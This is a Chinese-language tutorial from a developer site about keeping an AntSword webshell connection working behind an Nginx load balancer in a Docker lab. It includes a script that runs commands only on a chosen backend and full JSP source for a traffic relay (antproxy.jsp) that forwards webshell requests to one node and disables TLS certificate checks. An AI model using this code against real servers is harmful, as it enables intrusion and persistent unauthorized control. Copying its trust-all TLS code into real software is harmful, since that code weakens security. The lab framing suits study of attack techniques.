Nginx负载均衡下的webshell连接的实现

 更新时间:2024年01月28日 15:07:17   作者:就不做程序猿  
在解决shell文件上传问题、命令执行漂移等困难后,可实现正常的webshell上传,本文主要介绍了Nginx负载均衡下的webshell连接的实现,具有一定的参考价值,感兴趣的可以了解一下

一、上传AntSword-Labs-master搭建负载均衡实验环境

搭建好docker环境,并且配置好docker-compose

我的Redhat的docker版本:

查看当前环境下的文件是否正确:

接着执行docker compose up -d 拉取环境

访问成功页面:

进入docker容器执行以下命令

docker exec loadbalance-jsp_lbsnode1-1 bash -c "ls -l webapps/RO0T/ant.jsp"

可以发现存在webshell,查看里面内容如下:

二、连接webshell 执行命令

然后连接目标,因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常

一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。

我们可以发现,主机的ip一直在变

三、上传文件/工具

我先在这个目录下上传一个hack.txt文件,刷新

再次刷新,发现文件不见了,是因为文件被分开上传到不同的后端了,不停地刷新会发现文件时而存在时而不见。

连续进行上传操作,直到刷新到hack.txt文件一直存在为止。如果文件较大,则会导致上传的工具用不了。

五、解决执行的命令会分散到不同的后端的问题

1、我们既然无法预测下一次命令是哪台机器去执行,那我们的 Shell 在执行 Payload 之前,先判断一下要不要执行不就行了?

因为本次环境由docker搭建的,在docker里面下载相应的工具

进入相应的docker容器(注意不同的系统容器名字不一样) 退出容器exit

升级一下

apt-get update

安装一下 

apt-get install net-tools

测试一下好不好用,因为只在一台装了,另一台用不了

两台都要装上

2、创建脚本判断要执行命令的ip是不是目标后端

vim demo.sh

MYIP=`ifconfig | grep "inet 172.19" | awk '{print $2}'`
if [ "$MYIP" == "172.19.0.2" ]; then
        echo "allow exec your command"
        id
else
        echo "try again!!!"
fi

然后将次脚本复制到docker容器下的临时文件夹下,两台都要复制

docker cp demo.sh 8e558d690564:/tmp

此时执行脚本,匹配

这就解决了执行命令只会在一台特定后端

六、解决上传文件会分散到不同的后端的问题

测试内网通信

curl http://172.19.0.3:8080 -X HEAD -v

Web 层做一次 HTTP 流量转发实现后端不是目标的机器将流量转发给目标机

antproxy.jsp

注意更改这个字段  String target = "http://172.19.0.2:8080/ant.jsp";

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.20.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

使用蚁剑的新建文件功能,新建一个antproxy.jsp的文件上传,重复上传多次,确保所有后端都上传上去了。

将上面的代码复制到这个文件中并多次保存,确保每台后端都存在

然后更新名字antproxy.jsp

按道理来讲,这样之后进行测试,所有的流量都会转发到172.19.0.2

但是不知道是不是redhat系统的原因,此现象看不到,还会一直跳

到此这篇关于Nginx负载均衡下的webshell连接的实现的文章就介绍到这了,更多相关Nginx负载均衡webshell连接内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • Nginx服务器中关于SSL的安全配置详解

    Nginx服务器中关于SSL的安全配置详解

    这篇文章主要介绍了Nginx服务器中关于SSL的安全配置详解,2014年曝出的SSL安全漏洞无疑为整个业界带来了巨大震动,本文便对此给出相关安全维护方法,需要的朋友可以参考下
    2015-06-06
  • Nginx列出目录和文件并用密码控制访问权限配置方法

    Nginx列出目录和文件并用密码控制访问权限配置方法

    这篇文章主要介绍了Nginx列出目录和文件并用密码控制访问权限配置方法,本文给出了详细的安装配置步骤,需要的朋友可以参考下
    2015-07-07
  • Nginx 转发匹配规则的实现

    Nginx 转发匹配规则的实现

    这篇文章主要介绍了Nginx 转发匹配规则的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-03-03
  • Nginx配置跨域请求Access-Control-Allow-Origin * 详解

    Nginx配置跨域请求Access-Control-Allow-Origin * 详解

    这篇文章主要给大家介绍了关于Nginx配置跨域请求Access-Control-Allow-Origin * 的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用Nginx具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧
    2019-06-06
  • SQL操作Pandas DataFrame的三种方式示例详解

    SQL操作Pandas DataFrame的三种方式示例详解

    这篇文章主要为大家介绍了SQL操作Pandas DataFrame的三种方式示例详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-08-08
  • 一篇文章快速掌握Nginx部署前端项目(Nginx安装配置及部署都非常详细!)

    一篇文章快速掌握Nginx部署前端项目(Nginx安装配置及部署都非常详细!)

    这篇文章主要给大家介绍了关于如何通过一篇文章快速掌握Nginx部署前端项目的相关资料,文中从Nginx安装配置及部署都非常详细哦,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2023-01-01
  • Linux下Nginx安装教程

    Linux下Nginx安装教程

    这篇文章主要为大家详细介绍了Linux中Nginx的安装教程,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2017-05-05
  • CentOS 7中利用yum安装Nginx的方法教程

    CentOS 7中利用yum安装Nginx的方法教程

    这篇文章主要给大家介绍了在CentOS 7中利用yum安装Nginx的方法教程,文中给出了详细的步骤介绍,对大家具有一定的参考学习价值,需要的朋友们下面来一起看看吧。
    2017-05-05
  • Nginx中try_files指令的实现示例

    Nginx中try_files指令的实现示例

    try_files是Nginx配置中的一个指令,用于检查文件是否存在,并根据存在情况处理请求,本文就来介绍一下Nginx中try_files指令的实现示例,感兴趣的可以了解一下
    2024-10-10
  • 如何在centos上使用yum安装rabbitmq-server

    如何在centos上使用yum安装rabbitmq-server

    这篇文章主要介绍了如何在centos上使用yum安装rabbitmq-server,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-09-09

最新评论